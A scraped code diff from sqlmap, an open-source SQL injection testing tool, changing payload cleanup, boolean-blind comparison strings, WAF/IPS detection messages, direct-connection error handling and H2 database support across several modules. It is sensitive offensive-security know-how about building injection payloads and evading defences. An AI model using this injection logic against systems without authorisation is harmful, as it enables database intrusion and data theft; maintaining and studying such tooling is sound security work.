from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import URI_HTTP_HEADER
from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.threads import getCurrentThreadData
@@ -357,7 +363,7 @@ def checkSqlInjection(place, parameter, value):
# Parse test's <request>
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
for boundary in boundaries:
injectable = False
@@ -468,13 +474,13 @@ def checkSqlInjection(place, parameter, value):
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
@@ -761,7 +767,7 @@ def checkSqlInjection(place, parameter, value):
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg)
process = subprocess.Popen(conf.alert, shell=True)
process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
process.wait()
kb.alerted = True
@@ -856,8 +862,8 @@ def heuristicCheckDbms(injection):
if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
continue
if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
retVal = dbms
break
@@ -893,7 +899,7 @@ def checkFalsePositives(injection):
kb.injection = injection
for i in xrange(conf.level):
for level in xrange(conf.level):
while True:
randInt1, randInt2, randInt3 = (_() for j in xrange(3))
@@ -989,11 +995,6 @@ def checkFilteredChars(injection):
kb.injection = popValue()
def heuristicCheckSqlInjection(place, parameter):
if kb.nullConnection:
debugMsg = "heuristic check skipped because NULL connection used"
logger.debug(debugMsg)
return None
if kb.heavilyDynamic:
debugMsg = "heuristic check skipped because of heavy dynamicity"
logger.debug(debugMsg)
@@ -1118,14 +1119,6 @@ def checkDynParam(place, parameter, value):
try:
payload = agent.payload(place, parameter, value, getUnicode(randInt))
dynResult = Request.queryPage(payload, place, raise404=False)
if not dynResult:
infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter)
logger.info(infoMsg)
randInt = randomInt()
payload = agent.payload(place, parameter, value, getUnicode(randInt))
dynResult = Request.queryPage(payload, place, raise404=False)
except SqlmapConnectionException:
pass
@@ -1229,7 +1222,7 @@ def checkStability():
logger.error(errMsg)
else:
warnMsg = "target URL content is not stable. sqlmap will base the page "
warnMsg = "target URL content is not stable (i.e. content differs). sqlmap will base the page "
warnMsg += "comparison on a sequence matcher. If no dynamic nor "
warnMsg += "injectable parameters are detected, or in case of "
warnMsg += "junk results, refer to user's manual paragraph "
@@ -1314,9 +1307,8 @@ def checkRegexp():
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
if not re.search(conf.regexp, rawResponse, re.I | re.M):
warnMsg = "you provided '%s' as the regular expression to " % conf.regexp
warnMsg += "match, but such a regular expression does not have any "
warnMsg += "match within the target URL raw response, sqlmap "
warnMsg = "you provided '%s' as the regular expression " % conf.regexp
warnMsg += "which does not have any match within the target URL raw response. sqlmap "
warnMsg += "will carry on anyway"
logger.warn(warnMsg)
@@ -1335,7 +1327,7 @@ def checkWaf():
if _ is not None:
if _:
warnMsg = "previous heuristics detected that the target "
warnMsg += "is protected by some kind of WAF/IPS/IDS"
warnMsg += "is protected by some kind of WAF/IPS"
logger.critical(warnMsg)
return _
@@ -1343,7 +1335,7 @@ def checkWaf():
return None
infoMsg = "checking if the target is protected by "
infoMsg += "some kind of WAF/IPS/IDS"
infoMsg += "some kind of WAF/IPS"
logger.info(infoMsg)
retVal = False
@@ -1357,7 +1349,12 @@ def checkWaf():
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
pushValue(kb.redirectChoice)
pushValue(kb.resendPostOnRedirect)
pushValue(conf.timeout)
kb.redirectChoice = REDIRECTION.YES
kb.resendPostOnRedirect = False
conf.timeout = IDS_WAF_CHECK_TIMEOUT
try:
@@ -1366,16 +1363,19 @@ def checkWaf():
retVal = True
finally:
kb.matchRatio = None
conf.timeout = popValue()
kb.resendPostOnRedirect = popValue()
kb.redirectChoice = popValue()
if retVal:
warnMsg = "heuristics detected that the target "
warnMsg += "is protected by some kind of WAF/IPS/IDS"
warnMsg += "is protected by some kind of WAF/IPS"
logger.critical(warnMsg)
if not conf.identifyWaf:
message = "do you want sqlmap to try to detect backend "
message += "WAF/IPS/IDS? [y/N] "
message += "WAF/IPS? [y/N] "
if readInput(message, default='N', boolean=True):
conf.identifyWaf = True
@@ -1399,7 +1399,7 @@ def identifyWaf():
kb.testMode = True
infoMsg = "using WAF scripts to detect "
infoMsg += "backend WAF/IPS/IDS protection"
infoMsg += "backend WAF/IPS protection"
logger.info(infoMsg)
@cachedmethod
@@ -1426,7 +1426,7 @@ def identifyWaf():
continue
try:
logger.debug("checking for WAF/IPS/IDS product '%s'" % product)
logger.debug("checking for WAF/IPS product '%s'" % product)
found = function(_)
except Exception, ex:
errMsg = "exception occurred while running "
@@ -1436,19 +1436,19 @@ def identifyWaf():
found = False
if found:
errMsg = "WAF/IPS/IDS identified as '%s'" % product
errMsg = "WAF/IPS identified as '%s'" % product
logger.critical(errMsg)
retVal.append(product)
if retVal:
if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
if kb.wafSpecificResponse and "You don't have permission to access" not in kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE)
os.close(handle)
with openFile(filename, "w+b") as f:
f.write(kb.wafSpecificResponse)
message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename
message = "WAF/IPS specific response can be found in '%s'. " % filename
message += "If you know the details on used protection please "
message += "report it along with specific response "
message += "to '%s'" % DEV_EMAIL_ADDRESS
@@ -1465,7 +1465,7 @@ def identifyWaf():
if not choice:
raise SqlmapUserQuitException
else:
warnMsg = "WAF/IPS/IDS product hasn't been identified"
warnMsg = "WAF/IPS product hasn't been identified"
logger.warn(warnMsg)
kb.testType = None
@@ -1535,6 +1535,10 @@ def checkConnection(suppressOutput=False):
errMsg = "problem occurred while "
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapConnectionException(errMsg)
except UnicodeError, ex:
errMsg = "problem occurred while "
errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapDataException(errMsg)
if not suppressOutput and not conf.dummy and not conf.offline:
infoMsg = "testing connection to the target URL"
@@ -1547,6 +1551,10 @@ def checkConnection(suppressOutput=False):
kb.errorIsNone = False
if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS):
singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader)
conf.disablePrecon = True
if not kb.originalPage and wasLastResponseHTTPError():
errMsg = "unable to retrieve page content"
raise SqlmapConnectionException(errMsg)
+17 -10
View File
@@ -56,9 +56,11 @@ from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSkipTargetException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapValueException
from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import ASP_NET_CONTROL_REGEX
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
from lib.core.settings import IGNORE_PARAMETERS
@@ -243,16 +245,20 @@ def _saveToResultsFile():
results[key].extend(injection.data.keys())
for key, value in results.items():
place, parameter, notes = key
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
conf.resultsFP.write(line)
try:
for key, value in results.items():
place, parameter, notes = key
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
conf.resultsFP.write(line)
if not results:
line = "%s,,,,%s" % (conf.url, os.linesep)
conf.resultsFP.write(line)
if not results:
line = "%s,,,,%s" % (conf.url, os.linesep)
conf.resultsFP.write(line)
conf.resultsFP.flush()
conf.resultsFP.flush()
except IOError, ex:
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
@stackedmethod
def start():
@@ -307,6 +313,7 @@ def start():
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or [])
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
initTargetEnv()
parseTargetUrl()
@@ -505,7 +512,7 @@ def start():
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
testSqlInj = False
infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
@@ -524,7 +531,7 @@ def start():
testSqlInj = False
else:
infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter)
infoMsg = "%s parameter '%s' appears to be dynamic" % (paramType, parameter)
logger.info(infoMsg)
kb.testedParams.add(paramKey)
+29 -12
View File
@@ -10,6 +10,7 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.dicts import DBMS_DICT
from lib.core.enums import DBMS
from lib.core.exception import SqlmapConnectionException
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import INFORMIX_ALIASES
from lib.utils.sqlalchemy import SQLAlchemy
@@ -46,6 +48,8 @@ from plugins.dbms.db2 import DB2Map
from plugins.dbms.db2.connector import Connector as DB2Conn
from plugins.dbms.hsqldb import HSQLDBMap
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
from plugins.dbms.h2 import H2Map
from plugins.dbms.h2.connector import Connector as H2Conn
from plugins.dbms.informix import InformixMap
from plugins.dbms.informix.connector import Connector as InformixConn
@@ -67,6 +71,7 @@ def setHandler():
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
]
@@ -90,29 +95,41 @@ def setHandler():
conf.dbmsConnector = Connector()
if conf.direct:
exception = None
dialect = DBMS_DICT[dbms][3]
if dialect:
sqlalchemy = SQLAlchemy(dialect=dialect)
sqlalchemy.connect()
try:
sqlalchemy = SQLAlchemy(dialect=dialect)
sqlalchemy.connect()
if sqlalchemy.connector:
conf.dbmsConnector = sqlalchemy
else:
try:
conf.dbmsConnector.connect()
except NameError:
pass
else:
conf.dbmsConnector.connect()
if sqlalchemy.connector:
conf.dbmsConnector = sqlalchemy
except Exception, ex:
exception = ex
if not dialect or exception:
try:
conf.dbmsConnector.connect()
except Exception, ex:
if exception:
raise exception
else:
if not isinstance(ex, NameError):
raise
else:
msg = "support for direct connection to '%s' is not available. " % dbms
msg += "Please rerun with '--dependencies'"
raise SqlmapConnectionException(msg)
if conf.forceDbms == dbms or handler.checkDbms():
if kb.resolutionDbms:
conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
conf.dbmsHandler._dbms = kb.resolutionDbms
else:
conf.dbmsHandler = handler
conf.dbmsHandler._dbms = dbms
conf.dbmsHandler._dbms = dbms
break
else:
conf.dbmsConnector = None
+15 -7
View File
@@ -43,6 +43,7 @@ from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import NULL
from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import REPLACEMENT_MARKER
from lib.core.settings import SINGLE_QUOTE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.unescaper import unescaper
@@ -246,6 +247,9 @@ class Agent(object):
else:
query = kb.injection.prefix or prefix or ""
if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes
query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
query += " "
@@ -311,9 +315,12 @@ class Agent(object):
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
payload = payload.replace(_, randomStr())
if origValue is not None and "[ORIGVALUE]" in payload:
if origValue is not None:
origValue = getUnicode(origValue)
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
if "[ORIGVALUE]" in payload:
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
if "[ORIGINAL]" in payload:
payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
if INFERENCE_MARKER in payload:
if Backend.getIdentifiedDbms() is not None:
@@ -342,6 +349,7 @@ class Agent(object):
if payload:
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
payload = payload.replace(_, str(randomInt()))
@@ -616,7 +624,7 @@ class Agent(object):
elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB):
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -815,7 +823,7 @@ class Agent(object):
limitRegExp2 = None
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
@@ -905,14 +913,14 @@ class Agent(object):
fromFrom = limitedQuery[fromIndex + 1:]
orderBy = None
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr
elif Backend.isDbms(DBMS.HSQLDB):
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
if match:
limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip()
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
limitedQuery += " %s" % match.group(0)
if query.startswith("SELECT "):
@@ -1086,7 +1094,7 @@ class Agent(object):
if conf.dumpWhere and query:
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
if "%s)" % conf.tbl.upper() in prefix.upper():
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
elif re.search(r"(?i)\bWHERE\b", prefix):
prefix += " AND %s" % conf.dumpWhere
+1 -1
View File
@@ -126,7 +126,7 @@ class BigArray(list):
try:
with open(self.chunks[index], "rb") as f:
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
except IOError, ex:
except Exception, ex:
errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message
raise SqlmapSystemException(errMsg)
+81 -15
View File
@@ -645,7 +645,7 @@ def paramToDict(place, parameters=None):
current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
else:
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
current[key] = original
deserialized = json.loads(testableParameters[parameter])
@@ -899,7 +899,7 @@ def clearColors(message):
retVal = message
if message:
if isinstance(message, str):
retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
return retVal
@@ -923,7 +923,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
try:
if conf.get("api"):
sys.stdout.write(message, status, content_type)
sys.stdout.write(clearColors(message), status, content_type)
else:
sys.stdout.write(setColor(message, bold=bold))
@@ -997,6 +997,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
retVal = None
kb.stickyLevel = None
if kb.lastInputMessage == message:
checkBatch = False
else:
kb.lastInputMessage = message
message = getUnicode(message)
if "\n" in message:
@@ -1009,6 +1014,9 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
kb.prependFlag = False
if conf.get("answers"):
if not any(_ in conf.answers for _ in ",="):
return conf.answers
for item in conf.answers.split(','):
question = item.split('=')[0].strip()
answer = item.split('=')[1] if len(item.split('=')) > 1 else None
@@ -1162,6 +1170,9 @@ def getHeader(headers, key):
def checkFile(filename, raiseOnError=True):
"""
Checks for file existence and readability
>>> checkFile(__file__)
True
"""
valid = True
@@ -1172,7 +1183,7 @@ def checkFile(filename, raiseOnError=True):
try:
if filename is None or not os.path.isfile(filename):
valid = False
except UnicodeError:
except:
valid = False
if valid:
@@ -1192,7 +1203,7 @@ def banner():
This function prints sqlmap banner with its version
"""
if not any(_ in sys.argv for _ in ("--version", "--api")):
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
_ = BANNER
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
@@ -1347,7 +1358,7 @@ def parseTargetDirect():
conf.hostname = "localhost"
conf.port = 0
conf.dbmsDb = details.group("db")
conf.dbmsDb = details.group("db").strip() if details.group("db") is not None else None
conf.parameters[None] = "direct connection"
break
@@ -1401,8 +1412,10 @@ def parseTargetDirect():
__import__("pyodbc")
elif dbmsName == DBMS.FIREBIRD:
__import__("kinterbasdb")
except (SqlmapSyntaxException, SqlmapMissingDependence):
raise
except:
if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
if _sqlalchemy and data[3] and any(_ in _sqlalchemy.dialects.__all__ for _ in (data[3], data[3].split('+')[0])):
pass
else:
errMsg = "sqlmap requires '%s' third-party library " % data[1]
@@ -1644,6 +1657,9 @@ def parseUnionPage(page):
def parseFilePaths(page):
"""
Detects (possible) absolute system paths inside the provided page content
>>> _ = "/var/www/html/index.php"; parseFilePaths("<html>Error occurred at line 207 of: %s<br>Please contact your administrator</html>" % _); _ in kb.absFilePaths
True
"""
if page:
@@ -2036,6 +2052,9 @@ def parseXmlFile(xmlFile, handler):
def getSQLSnippet(dbms, sfile, **variables):
"""
Returns content of SQL snippet located inside 'procs/' directory
>>> 'RECONFIGURE' in getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
True
"""
if sfile.endswith('.sql') and os.path.exists(sfile):
@@ -2075,9 +2094,12 @@ def getSQLSnippet(dbms, sfile, **variables):
return retVal
def readCachedFileContent(filename, mode='rb'):
def readCachedFileContent(filename, mode="rb"):
"""
Cached reading of file content (avoiding multiple same file reading)
>>> "readCachedFileContent" in readCachedFileContent(__file__)
True
"""
if filename not in kb.cache.content:
@@ -2134,6 +2156,9 @@ def average(values):
def calculateDeltaSeconds(start):
"""
Returns elapsed time from start till now
>>> calculateDeltaSeconds(0) > 1151721660
True
"""
return time.time() - start
@@ -2141,6 +2166,9 @@ def calculateDeltaSeconds(start):
def initCommonOutputs():
"""
Initializes dictionary containing common output values used by "good samaritan" feature
>>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"]
True
"""
kb.commonOutputs = {}
@@ -2908,15 +2936,15 @@ def filterStringValue(value, charRegex, replacement=""):
return retVal
def filterControlChars(value):
def filterControlChars(value, replacement=' '):
"""
Returns string value with control chars being supstituted with ' '
Returns string value with control chars being supstituted with replacement character
>>> filterControlChars(u'AND 1>(2+3)\\n--')
u'AND 1>(2+3) --'
"""
return filterStringValue(value, PRINTABLE_CHAR_REGEX, ' ')
return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement)
def isDBMSVersionAtLeast(version):
"""
@@ -3348,6 +3376,9 @@ def unhandledExceptionMessage():
def getLatestRevision():
"""
Retrieves latest revision from the offical repository
>>> from lib.core.settings import VERSION; getLatestRevision() == VERSION
True
"""
retVal = None
@@ -3457,6 +3488,9 @@ def maskSensitiveData(msg):
for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
# Fail-safe substitution
retVal = re.sub(r"(?i)\bhttps?://[^ ]+", lambda match: '*' * len(match.group(0)), retVal)
if getpass.getuser():
retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal)
@@ -3518,7 +3552,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
return value
payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True))
regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape")))
regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string_escape")))
if regex != payload:
if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check
@@ -3625,7 +3659,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = "\"%s\"" % retVal.upper()
@@ -4146,6 +4180,9 @@ def checkSystemEncoding():
def evaluateCode(code, variables=None):
"""
Executes given python code given in a string form
>>> _ = {}; evaluateCode("a = 1; b = 2; c = a", _); _["c"]
1
"""
try:
@@ -4199,6 +4236,9 @@ def incrementCounter(technique):
def getCounter(technique):
"""
Returns query counter for a given technique
>>> resetCounter(PAYLOAD.TECHNIQUE.STACKED); incrementCounter(PAYLOAD.TECHNIQUE.STACKED); getCounter(PAYLOAD.TECHNIQUE.STACKED)
1
"""
return kb.counters.get(technique, 0)
@@ -4245,7 +4285,7 @@ def decodeHexValue(value, raw=False):
retVal = retVal.decode("utf-16-le")
except UnicodeDecodeError:
pass
elif Backend.isDbms(DBMS.HSQLDB):
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
try:
retVal = retVal.decode("utf-16-be")
except UnicodeDecodeError:
@@ -4438,6 +4478,9 @@ def zeroDepthSearch(expression, value):
"""
Searches occurrences of value inside expression at 0-depth level
regarding the parentheses
>>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:]
'FROM DUAL'
"""
retVal = []
@@ -4473,7 +4516,7 @@ def pollProcess(process, suppress_errors=False):
Checks for process status (prints . if still running)
"""
while True:
while process:
dataToStdout(".")
time.sleep(1)
@@ -4694,16 +4737,39 @@ def getSafeExString(ex, encoding=None):
retVal = ex.message
elif getattr(ex, "msg", None):
retVal = ex.msg
elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring):
retVal = ex[1]
return getUnicode(retVal or "", encoding=encoding).strip()
def safeVariableNaming(value):
"""
Returns escaped safe-representation of a given variable name that can be used in Python evaluated code
>>> safeVariableNaming("foo bar")
'foo__SAFE__20bar'
"""
return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value)
def unsafeVariableNaming(value):
"""
Returns unescaped safe-representation of a given variable name
>>> unsafeVariableNaming("foo__SAFE__20bar")
'foo bar'
"""
return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value)
def firstNotNone(*args):
"""
Returns first not-None value from a given list of arguments
>>> firstNotNone(None, None, 1, 2, 3)
1
"""
retVal = None
for _ in args:
+6
View File
@@ -22,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import INFORMIX_ALIASES
FIREBIRD_TYPES = {
@@ -195,6 +196,7 @@ DBMS_DICT = {
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
DBMS.H2: (H2_ALIASES, None, None, None),
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
}
@@ -263,6 +265,10 @@ SQL_STATEMENTS = {
"commit ",
"rollback ",
),
"SQL administration": (
"set ",
),
}
POST_HINT_CONTENT_TYPES = {
+3 -1
View File
@@ -47,6 +47,7 @@ from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
from lib.core.settings import VERSION_STRING
from lib.core.settings import WINDOWS_RESERVED_NAMES
from thirdparty.magic import magic
@@ -170,7 +171,7 @@ class Dump(object):
def currentDb(self, data):
if Backend.isDbms(DBMS.MAXDB):
